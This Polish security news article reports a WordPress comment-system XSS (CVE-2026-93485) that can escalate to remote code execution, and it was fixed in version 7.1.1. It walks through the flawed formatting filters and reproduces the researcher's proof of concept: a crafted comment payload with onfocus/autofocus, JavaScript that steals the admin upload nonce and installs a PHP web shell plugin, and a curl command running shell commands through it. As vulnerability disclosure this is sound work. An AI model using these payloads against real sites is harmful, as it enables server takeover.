NOWOŚĆ! Szkolenie AI w pracy admina

Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

 

Podatność XSS w komentarzach WordPress mogła prowadzić do RCE

06 października 2026, 10:54 | Aktualności | 0 komentarzy

Badacz bezpieczeństwa Rafie Muhammad odkrył podatność XSS mogącą eskalować do RCE w systemie komentarzy WordPress. Dowolny nieuwierzytelniony użytkownik mógł dodać komentarz, który umieszczał na stronie ukryty skrypt. Jeśli stronę tę otworzył administrator zalogowany na swoim koncie, skrypt mógł wgrać złośliwą wtyczkę na serwer witryny. Podatność otrzymała numer CVE-2026-93485 i została załatana w wersji 7.1.1.

TLDR:

  • Nowa podatność w w systemie komentarzy WordPress (XSS). Luka pozwalała nieuwierzytelnionemu użytkownikowi dodać komentarz, który po wyrenderowaniu zawierał aktywny JavaScript.
  • Problem wynikał z połączenia działania KSES, wpautop() i wptexturize(). Specjalnie spreparowany znak nowej linii w atrybucie cite pozwalał wyświetlić na stronie złośliwy HTML.
  • Złośliwy kod mógł uruchomić się bez interakcji użytkownika dzięki autofocus i onfocus. W niektórych konfiguracjach wystarczało samo otwarcie strony zawierającej komentarz.
  • Jeśli komentarz otworzył zalogowany administrator, kod JavaScript mógł wykorzystać jego sesję do przesłania złośliwej wtyczki, prowadząc do wykonania kodu na serwerze.
  • WordPress naprawił podatność w wersji 7.1.1. Zalecamy pilną aktualizację.

WordPress sanityzuje komentarz podczas jego zapisywania, używając własnego mechanizmu – KSES, a następnie formatuje go podczas wyświetlania, używając filtrów comment_text. Luka występuje pomiędzy tymi dwoma etapami.

Użytkownik może wysłać znaczniki HTML w treści komentarza, ale lista KSES zezwala wyłącznie na a[href,title], abbr[title], acronym[title], blockquote[cite], del[datetime], q[cite] oraz code.

Podczas renderowania komentarza łańcuch formatowania jest rejestrowany w filtrze comment_text:

add_filter( ‘comment_text’, ‘wptexturize’ );
add_filter( ‘comment_text’, ‘convert_chars’ );
add_filter( ‘comment_text’, ‘make_clickable’, 9 );
add_filter( ‘comment_text’, ‘force_balance_tags’, 25 );
add_filter( ‘comment_text’, ‘convert_smilies’, 20 );
add_filter( ‘comment_text’, ‘wpautop’, 30 );

Listing 1 – plik wp-includes/default-filters.php, źródło: idnsec.com

Wszystkie te filtry przepisują HTML. Te przepisania zawierają błąd, który przekształca nieszkodliwy HTML w złośliwy kod umożliwiający wykonanie JavaScriptu.

Głównym problemem jest znak nowej linii (\n) w atrybucie cite elementu <blockquote>, który powoduje niebezpieczne kaskadowe przekształcenie w filtrach. Badacz znalazł niebezpieczne przekształcenie, do którego może dojść – złośliwy kod JavaScript początkowo przetwarzany jest jako zwykły tekst wewnątrz tagu <code> może zostać przeniesiony i stać się atrybutem w poprzednim <blockquote>.

Rys. 1 – schemat ataku, źródło: idnsec.com

Cały atak działa z kilku powodów. Po pierwsze, KSES zezwala na atrybut cite elementu blockquote i znak nowej linii.

Komentarz zawierający <blockquote cite=”\n”>TEXT</blockquote> jest dozwolony przez KSES. blockquote[cite] jest jednym z dozwolonych elementów HTML.

Funkcja wp_kses_hair() odczytuje każdy atrybut za pomocą get_attribute(), która dekoduje odwołania do znaków, a następnie ponownie koduje wynik za pomocą strtr() dla określonych znaków:

$syntax_characters = array(
    ‘&’ => ‘&amp;’,
    ‘<‘ => ‘&lt;’,
    ‘>’ => ‘&gt;’,
    “‘” => ‘&apos;’,
    ‘”‘ => ‘&quot;’,
);

Listing 2 – plik wp-includes/kses.php, źródło: idnsec.com

\n nie znajduje się na tej mapie, więc można użyć znaku nowej linii wewnątrz wartości atrybutu, np. cite=”a\nb”.

Funkcja wpautop() bierze każdy znak nowej linii znajdujący się wewnątrz tagu i zamienia go na komentarz HTML:

// Find newlines in all elements and add placeholders.
$text = wp_replace_in_html_tags( $text, array( “\n” => ‘ <!– wpnl –> ‘ ) );

Listing 3 – plik wp-includes/formatting.php, źródło: idnsec.com

W jego miejsce umieszczany jest ciąg <!– wpnl –> – komentarz zawierający znak >, który odgrywa ważną rolę w następnym kroku.

Następnie funkcja wpautop() umieszcza pustą linię przed każdym otwierającym tagiem, a więc też przed blockquote:

// Add a double line break above block-level opening tags.
$text = preg_replace( ‘!(<‘ . $allblocks . ‘[\s/>])!’, “\n\n$1”, $text );

Listing 4 – plik wp-includes/formatting.php, źródło: idnsec.com

Zatem <blockquote> zawsze zaczyna własny akapit, niezależnie od zawartości komentarza, a pętla przebudowy opakowuje ten akapit w <p>:

// Split up the contents into an array of strings, separated by double line breaks.
$paragraphs = preg_split( ‘/\n\s*\n/’, $text, -1, PREG_SPLIT_NO_EMPTY );
​
// Reset $text prior to rebuilding.
$text = ”;
​
// Rebuild the content as a string, wrapping every bit with a <p>.
foreach ( $paragraphs as $paragraph ) {
    $text .= ‘<p>’ . trim( $paragraph, “\n” ) . “</p>\n”;
}

Listing 5 – plik wp-includes/formatting.php, źródło: idnsec.com

Cały <blockquote> pozostaje w jednym kawałku i wraca jako <p><blockquote cite=”a <!– wpnl –> b”>.

W kodzie formatowania nieprawidłowo wykorzystano funkcję preg_replace (służącej do zastąpienia fragmentu tekstu).

$text = preg_replace( ‘|<p><blockquote([^>]*)>|i’, ‘<blockquote$1><p>’, $text );

Listing 6 – plik wp-includes/formatting.php, źródło: idnsec.com

Wyrażenie [^>]* nie złapie znaków za >, więc zatrzymuje się na pierwszym takim znaku, a więc przy komentarzu HTML ( <!– wpnl –>). W efekcie <p> zostaje wstawione wewnątrz wartości atrybutu cite. Po zakończeniu działania funkcji placeholder zostaje ponownie zamieniony na znak nowej linii, a HTML przyjmuje postać, która pozwala przejść do kolejnego etapu ataku.

W przypadku motywów korzystających z pełnego bloku Latest Comments podczas renderowania wywoływana jest funkcja wptexturize(). Motywy blokowe korzystają domyślnie z funkcji get_the_block_template_html().

Wstrzyknięty wcześniej <p> jest przez nią potraktowany jako granica tagu. Znajdujący się w odpowiednim miejscu cudzysłów jest wtedy traktowany jako zwykły tekst i zamieniany na encję HTML. Cudzysłów znajdujący się wewnątrz elementu <code> pozostaje natomiast niezmieniony, ponieważ wptexturize() nie przetwarza zawartości tego elementu.

Dzięki temu część kontrolowana przez atakującego może zostać przesunięta do pozycji atrybutu HTML. W efekcie, po przejściu przez kolejne filtry przesłany przez atakującego kod HTML może np. zarejestrować event handler JavaScript.

Przykładowe żądanie pokazane przez badacza w ramach proof of concept:

curl -si -X POST “https://example.com/wp-comments-post.php” \  –data-urlencode $’comment=<blockquote cite=”a\nb”><code>x” onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>’ \  -d ‘comment_post_ID=123’ -d ‘author=zqanon’ -d ’email=zqanon@example.com’ \  -d ‘comment_parent=0’

Listing 7 – złośliwe żądanie, źródło: idnsec.com

Komentarz na stronie wyświetli się w takiej postaci:

<blockquote cite=”a<p> b&#8221;><code>x” onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>

Listing 8 – złośliwy komentarz, źródło: idnsec.com

Wykorzystanie autofocus sprawia, że handler onfocus może uruchomić się automatycznie podczas ładowania strony, bez konieczności kliknięcia przez użytkownika. W praktyce oznacza to, że odpowiednio spreparowany komentarz może doprowadzić do wykonania złośliwego kodu JS po otwarciu strony, bez żadnej dodatkowej interakcji.

Aby komentarz wyświetlił się innym użytkownikom, zazwyczaj musi najpierw zostać zatwierdzony przez moderatora. Na niektórych stronach możliwe jest jednak dodawanie komentarzy bez zatwierdzenia, a czasem jednorazowe zatwierdzenie pozwala dodawać kolejne bez czekania na moderację. Taki stan rzeczy ogranicza możliwość wykorzystania podatności, ale jej nie niweluje.

To jednak nie koniec, ponieważ podatność ta może z XSS eskalować do RCE. Atakujący dodaje złośliwy komentarz, a gdy administrator go wyświetli, do WordPressa zostaje dodana nowa wtyczka, przez którą można wykonywać złośliwe polecenia.

Zarejestrowany w kodzie JavaScript event handler działa po stronie przeglądarki użytkownika i w ramach jego sesji. Jeśli jest to zalogowany administrator, skrypt wykonuje się w ramach sesji z takimi właśnie uprawnieniami. Złośliwy kod wykorzystuje endpoint do przesyłania wtyczek WordPress i odczytuje wartość nonce (token zabezpieczający przed atakami CSRF) z formularza instalatora, aby następnie wykonać żądanie POST z plikiem zip zawierającym PHP shell:

(async () => {
  // 1. Read the plugin-upload nonce out of the installer form.
  const html = await (await fetch(‘/wp-admin/plugin-install.php?tab=upload’,
                                  { credentials: ‘include’ })).text();
  const form = new DOMParser().parseFromString(html, ‘text/html’)
                 .querySelector(‘form.wp-upload-form’);
  const nonce = form.querySelector(‘[name=”_wpnonce”]’).value;
​
  // 2. Build a one-file plugin in memory. buildStoredZip() is a small
  //    PKZIP writer: local header, stored entry, central directory.
  const php = “<?php /* Plugin Name: X */ if (isset($_GET[‘c’])) system($_GET[‘c’]);”;
  const zip = buildStoredZip(‘x/x.php’, php);
​
  // 3. Hand it to the installer. No file editor and no FTP are involved.
  const body = new FormData();
  body.append(‘_wpnonce’, nonce);
  body.append(‘pluginzip’, new Blob([zip], { type: ‘application/zip’ }), ‘x.zip’);
  await fetch(‘/wp-admin/update.php?action=upload-plugin’,
              { method: ‘POST’, credentials: ‘include’, body });
})();

Listing 9 – złośliwy kod wykonujący RCE, źródło: idnsec.com

Plugin nie musi być nawet aktywowany. Plik znajduje się już na dysku, a więc wystarczy wydać jedno polecenie:

curl “https://example.com/wp-content/plugins/x/x.php?c=id”

Listing 10 – polecenie curl wykonujące złośliwy kod na serwerze, źródło: idnsec.com

W parametrze c można umieścić dowolną komendę, która wykona się na serwerze hostującym stronę.

WordPress załatał tę podatność w wersji 7.1.1 – użytkownikom zalecamy pilną aktualizację. Warto rozważyć także włączenie automatycznych aktualizacji WP oraz wykorzystywanych wtyczek.

Źródło: idnsec.com

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz